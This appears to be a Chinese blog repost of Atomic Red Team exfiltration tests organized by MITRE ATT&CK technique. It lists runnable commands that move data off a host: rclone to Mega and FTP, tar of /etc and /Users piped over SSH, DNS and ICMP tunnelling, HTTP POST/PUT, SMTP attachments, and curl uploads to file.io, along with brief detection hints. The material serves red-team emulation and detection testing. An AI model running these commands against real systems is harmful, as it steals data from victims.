首页 > 其他分享 >Atomic-渗漏(Exfiltration)

Atomic-渗漏(Exfiltration)

时间:2023-09-15 16:35:49浏览次数:44  
标签:Protocol 渗漏 Over Exfiltration Atomic file Test Alternative

T1567.002

Exfiltration Over Web Service: Exfiltration to Cloud Storage

T1048

Exfiltration Over Alternative Protocol

T1048.003

Exfiltration Over Alternative Protocol: Exfiltration Over Unencrypted/Obfuscated Non-C2 Protocol

T1048.002

Exfiltration Over Alternative Protocol - Exfiltration Over Asymmetric Encrypted Non-C2 Protocol

T1041

Exfiltration Over C2 Channel

T1030

Data Transfer Size Limits

T1020

Automated Exfiltration


1567.002

Exfiltrate data with rclone to cloud Storage - Mega (Windows)

New-Item #{rclone_config_path}\rclone -ItemType directory
New-Item #{rclone_config_path}\rclone\rclone.conf
cd #{rclone_path}
.\rclone.exe config create #{remote_share} mega
set-Content #{rclone_config_path}\rclone\rclone.conf "[#{remote_share}] `n type = mega `n user = #{mega_user_account} `n pass = #{mega_user_password}"
.\rclone.exe copy --max-size 1700k #{dir_to_copy} #{remote_share}:test -v

提取特征:rclone. exe


T1048

Exfiltration Over Alternative Protocol

Exfiltration Over Alternative Protocol - SSH

ssh #{domain} "(cd /etc && tar -zcvf - *)" > ./etc.tar.gz

Exfiltration Over Alternative Protocol - SSH

tar czpf - /Users/* | openssl des3 -salt -pass #{password} | ssh #{user_name}@#{domain} 'cat > /Users.tar.gz.enc'

DNSExfiltration (doh)

Import-Module #{ps_module}
Invoke-DNSExfiltrator -i #{ps_module} -d #{domain} -p #{password} -doh #{doh} -t #{time} #{encoding}

提取特征:Invoke-DNSExfiltrator


T1048.003

Exfiltration Over Alternative Protocol: Exfiltration Over Unencrypted/Obfuscated Non-C2 Protocol

Exfiltration Over Alternative Protocol - HTTP

#### Run it with these steps!

1. Victim System Configuration:
    
    mkdir /tmp/victim-staging-area echo "this file will be exfiltrated" > /tmp/victim-staging-area/victim-file.txt
    
2. Using Python to establish a one-line HTTP server on victim system:
    
    cd /tmp/victim-staging-area python -m SimpleHTTPServer 1337
    
3. To retrieve the data from an adversary system:
    
    wget http://VICTIM_IP:1337/victim-file.txt

Exfiltration Over Alternative Protocol - ICMP

$ping = New-Object System.Net.Networkinformation.ping; foreach($Data in Get-Content -Path #{input_file} -Encoding Byte -ReadCount 1024) { $ping.Send("#{ip_address}", 1500, $Data) }

Exfiltration Over Alternative Protocol - DNS

#### Run it with these steps!

1. On the adversary machine run the below command.
    
    tshark -f "udp port 53" -Y "dns.qry.type == 1 and dns.flags.response == 0 and dns.qry.name matches ".domain"" >> received_data.txt
    
2. On the victim machine run the below commands.
    
    xxd -p input_file > encoded_data.hex | for data in `cat encoded_data.hex`; do dig $data.domain; done
    
3. Once the data is received, use the below command to recover the data.
    
    cat output_file | cut -d "A" -f 2 | cut -d " " -f 2 | cut -d "." -f 1 | sort | uniq | xxd -p -r

Exfiltration Over Alternative Protocol - HTTP

$content = Get-Content #{input_file}
Invoke-WebRequest -Uri #{ip_address} -Method POST -Body $content

Exfiltration Over Alternative Protocol - SMTP

Send-MailMessage -From #{sender} -To #{receiver} -Subject "T1048.003 Atomic Test" -Attachments #{input_file} -SmtpServer #{smtp_server}

MAZE FTP Upload

$Dir_to_copy = "$env:windir\temp"
$ftp = "ftp://#{ftp_server}/"
$web_client = New-Object System.Net.WebClient
$web_client.Credentials = New-Object System.Net.NetworkCredential('#{username}', '#{password}')
if (test-connection -count 1 -computername "#{ftp_server}" -quiet)
{foreach($file in (dir $Dir_to_copy "*.7z"))
{echo "Uploading $file..."
$uri = New-Object System.Uri($ftp+$file.name)
$web_client.UploadFile($uri, $file.FullName)}}
else
{echo "FTP Server Unreachable. Please verify the server address in input args and try again."}

Exfiltration Over Alternative Protocol - FTP - Rclone

$rclone_bin = Get-ChildItem C:\Users\Public\Downloads\ -Recurse -Include "rclone.exe" | Select-Object -ExpandProperty FullName
$exfil_pack = Get-ChildItem C:\Users\Public\Downloads\ -Recurse -Include "exfil.zip" | Select-Object -ExpandProperty FullName
&$rclone_bin config create ftpserver "ftp" "host" #{ftp_server} "port" #{ftp_port} "user" #{ftp_user} "pass" #{ftp_pass}
&$rclone_bin copy --max-age 2y $exfil_pack ftpserver --bwlimit 2M -q --ignore-existing --auto-confirm --multi-thread-streams 12 --transfers 12 -P --ftp-no-check-certificate

Python3 http. server

if [ $(which python3) ]; then cd /tmp; python3 -m http.server 9090 & PID=$!; sleep 10; kill $PID; unset PID; fi

T1048.002

Exfiltration Over Alternative Protocol - Exfiltration Over Asymmetric Encrypted Non-C2 Protocol

Exfiltrate data HTTPS using curl windows

#{curl_path} -F 'file=@#{input_file}' -F 'maxDownloads=1' -F 'autoDelete=true' https://file.io/

Exfiltrate data HTTPS using curl linux

curl -F 'file=@#{input_file}' -F 'maxDownloads=1' -F 'autoDelete=true' https://file.io/

T1041

Exfiltration Over C2 Channel

C2 Data Exfiltration

if(-not (Test-Path #{filepath})){ 
  1..100 | ForEach-Object { Add-Content -Path #{filepath} -Value "This is line $_." }
}
[System.Net.ServicePointManager]::Expect100Continue = $false
$filecontent = Get-Content -Path #{filepath}
Invoke-WebRequest -Uri #{destination_url} -Method POST -Body $filecontent -DisableKeepAlive

T1030

Data Transfer Size Limits

Data Transfer Size Limits

cd #{folder_path}; split -b 5000000 #{file_name}
ls -l #{folder_path}

T1020

Automated Exfiltration

IcedID Botnet HTTP PUT

$fileName = "#{file}"
$url = "#{domain}"
$file = New-Item -Force $fileName -Value "This is ART IcedID Botnet Exfil Test"
$contentType = "application/octet-stream"
try {Invoke-WebRequest -Uri $url -Method Put -ContentType $contentType -InFile $fileName} catch{}

迷茫的人生,需要不断努力,才能看清远方模糊的志向!



标签:Protocol,渗漏,Over,Exfiltration,Atomic,file,Test,Alternative
From: https://blog.51cto.com/u_5139878/7483313

相关文章

  • LongAdder高竞争环境下为什么比AtomicLong块
     LongAdderlongAdder=newLongAdder();longAdder.increment();//依次开始分析 LongAdder的基本思路是分散热点,将value值分散到一个Cell数组中。第一部分:LongAdder.add()   第二部分:Striped64.longAccumulateif((cs=cells)!=null||!casBase(b=base,......
  • AtomicInteger详解
    AtomicInteger定义AtomicInteger类是系统底层保护的int类型,通过对int类型的数据进行封装,提供执行方法的控制进行值的原子操作,但AtomicInteger≠Integer。AtomicInteger是一个提供原子操作的Integer类,通过线程安全的方式操作加减。AtomicInteger使用场景AtomicInteger提供原子操作......
  • java原子类AtomicStampedReference
    一、什么是CASCAS,compareandswap的缩写,中文翻译成比较并交换。CAS操作包含三个操作数,内存位置(V)、预期原值(A)和新值(B)。如果内存位置的值与预期原值相匹配,那么处理器会自动将该位置值更新为新值。否则,处理器不做任何操作。二、案例publicstaticintcount=0;privatefinal......
  • 20230614 java.util.concurrent.atomic.AtomicInteger
    介绍java.util.concurrent.atomic.AtomicIntegerpublicclassAtomicIntegerextendsNumberimplementsjava.io.SerializableAPI构造器AtomicInteger()AtomicInteger(intinitialValue)设置初始值,默认是0public方法get,set原子操作不同步内存屏障,不能......
  • 为什么会有 AtomicReference ?
    我把自己以往的文章汇总成为了Github,欢迎各位大佬starhttps://github.com/crisxuan/bestJavaer我们之前了解过了AtomicInteger、AtomicLong、AtomicBoolean等原子性工具类,下面我们继续了解一下位于java.util.concurrent.atomic包下的工具类。关于AtomicInteger、Ato......
  • 并发中atomic BUG分享
    在使用Java做性能测试的过程中,遇到过很多自己抗自己的坎儿。在经历过风风雨雨之后,自认为已经是个并发编程的老司机,没想到前两天又丢进了同一个坑中。保持操作的原子性!!!保持操作的原子性!!!保持操作的原子性!!!重要的事情写三遍。事情是这样,要写一个脚本,需求是对所有的用户进行初始化(......
  • tqt507 pthread 多线程测试 atomic 原子操作
    ////tqt057测试结果find/opt-name*atomic.h*//aarch64-linux-gnu-gccdemoatomic.c-odemoatomic-pthread-I/opt/EmbedSky/TQT507/CoreA/longan/kernel/linux-4.9/tools/include//cp./demoatomic/home/book/nfs_rootfs#include<linux/atomic.h>#inclu......
  • AtomicInteger
    众所周知,AtomicInteger用于多线程下线程安全的数据读写操作,避免使用锁同步,底层采用CAS实现,内部的存储值使用volatile修饰,因此多线程之间是修改可见的。1.构造publicAutomicInteger(intinitValue):有参构造,初始化为initValuepublicAutomicInteger():无参构造,相当于Automic......
  • atomic_enum rust 原子枚举类型
    https://docs.rs/atomic_enum/latest/atomic_enum/#[atomic_enum]#[derive(PartialEq)]enumCatState{Dead=0,BothDeadAndAlive,Alive,}letstate=AtomicCatState::new(CatState::Dead);state.store(CatState::Alive,Ordering::Relaxed);assert......
  • Atomic-命令与控制战术
    Atomic-命令与控制战术可以编入使用落实到安全策略且有效的战术编号参考:https://atomicredteam.io/atomics/#command-and-control具体战术概览command-and-controlT1573EncryptedChannel加密通道T1572ProtocolTunneling协议隧道T1571Non-StandardPort......